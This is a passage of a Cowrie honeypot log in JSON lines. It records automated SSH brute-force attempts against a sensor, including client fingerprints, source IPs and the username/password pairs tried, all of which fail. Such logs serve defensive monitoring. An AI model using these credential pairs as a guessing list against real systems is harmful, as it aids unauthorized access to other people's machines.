,"hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:37.593837Z","src_ip":"141.11.88.14","session":"8b2f0dfa1957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:39.713761Z","src_ip":"141.11.88.14","session":"8b2f0dfa1957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:40.854842Z","src_ip":"141.11.88.14","session":"8b2f0dfa1957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14196,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d01e3465c1","protocol":"ssh","message":"New connection: 141.11.88.14:14196 (10.17.0.5:22) [session: 94d01e3465c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:43.734995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:43.829558Z","src_ip":"141.11.88.14","session":"94d01e3465c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:43.832911Z","src_ip":"141.11.88.14","session":"94d01e3465c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jpg","password":"123456","message":"login attempt [jpg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:44.998352Z","src_ip":"141.11.88.14","session":"94d01e3465c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:46.223583Z","src_ip":"141.11.88.14","session":"94d01e3465c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52758,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a74f668169a","protocol":"ssh","message":"New connection: 141.11.88.14:52758 (10.17.0.5:22) [session: 9a74f668169a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:49.044238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:49.088622Z","src_ip":"141.11.88.14","session":"9a74f668169a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:49.177651Z","src_ip":"141.11.88.14","session":"9a74f668169a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kemo4511214","message":"login attempt [root/Kemo4511214] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:49.607347Z","src_ip":"141.11.88.14","session":"9a74f668169a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:50.697495Z","src_ip":"141.11.88.14","session":"9a74f668169a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":37652,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e09e0f72c62","protocol":"ssh","message":"New connection: 177.85.247.230:37652 (10.17.0.5:22) [session: 5e09e0f72c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:51.226303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:51.230549Z","src_ip":"177.85.247.230","session":"5e09e0f72c62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:51.333326Z","src_ip":"177.85.247.230","session":"5e09e0f72c62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"12345","message":"login attempt [dbadmin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:51.780362Z","src_ip":"177.85.247.230","session":"5e09e0f72c62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34868,"dst_ip":"159.203.135.109","dst_port":22,"session":"181bfe761e1e","protocol":"ssh","message":"New connection: 37.233.85.71:34868 (159.203.135.109:22) [session: 181bfe761e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:52.711110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:52.715888Z","src_ip":"37.233.85.71","session":"181bfe761e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:52.829033Z","src_ip":"37.233.85.71","session":"181bfe761e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:52.886118Z","src_ip":"177.85.247.230","session":"5e09e0f72c62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovely1","message":"login attempt [root/lovely1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:53.169474Z","src_ip":"37.233.85.71","session":"181bfe761e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:54.285676Z","src_ip":"37.233.85.71","session":"181bfe761e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52776,"dst_ip":"10.17.0.5","dst_port":22,"session":"e90931a7d215","protocol":"ssh","message":"New connection: 141.11.88.14:52776 (10.17.0.5:22) [session: e90931a7d215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:55.122849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:55.127394Z","src_ip":"141.11.88.14","session":"e90931a7d215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:55.220577Z","src_ip":"141.11.88.14","session":"e90931a7d215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer1","password":"developer1","message":"login attempt [developer1/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:55.529473Z","src_ip":"141.11.88.14","session":"e90931a7d215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:56.618221Z","src_ip":"141.11.88.14","session":"e90931a7d215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36978,"dst_ip":"10.17.0.5","dst_port":22,"session":"061d00467204","protocol":"ssh","message":"New connection: 141.11.88.14:36978 (10.17.0.5:22) [session: 061d00467204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:01.340940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:01.597906Z","src_ip":"141.11.88.14","session":"061d00467204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:01.601494Z","src_ip":"141.11.88.14","session":"061d00467204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wet","password":"123456","message":"login attempt [wet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:02.445537Z","src_ip":"141.11.88.14","session":"061d00467204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:03.632584Z","src_ip":"141.11.88.14","session":"061d00467204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37020,"dst_ip":"10.17.0.5","dst_port":22,"session":"b453096ab896","protocol":"ssh","message":"New connection: 141.11.88.14:37020 (10.17.0.5:22) [session: b453096ab896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:07.236847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:07.356235Z","src_ip":"141.11.88.14","session":"b453096ab896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:07.359457Z","src_ip":"141.11.88.14","session":"b453096ab896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:09.111369Z","src_ip":"141.11.88.14","session":"b453096ab896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:10.362132Z","src_ip":"141.11.88.14","session":"b453096ab896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59314,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e565cab7f81","protocol":"telnet","message":"New connection: 128.199.8.54:59314 (159.203.135.109:23) [session: 8e565cab7f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:11.208125Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44724,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee662e23883f","protocol":"ssh","message":"New connection: 141.11.88.14:44724 (10.17.0.5:22) [session: ee662e23883f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:13.279867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:13.432454Z","src_ip":"141.11.88.14","session":"ee662e23883f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:13.436817Z","src_ip":"141.11.88.14","session":"ee662e23883f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:14.330748Z","src_ip":"141.11.88.14","session":"ee662e23883f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:15.439732Z","src_ip":"141.11.88.14","session":"ee662e23883f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44762,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e8faf7e22e","protocol":"ssh","message":"New connection: 141.11.88.14:44762 (10.17.0.5:22) [session: 56e8faf7e22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:17.156539Z"}
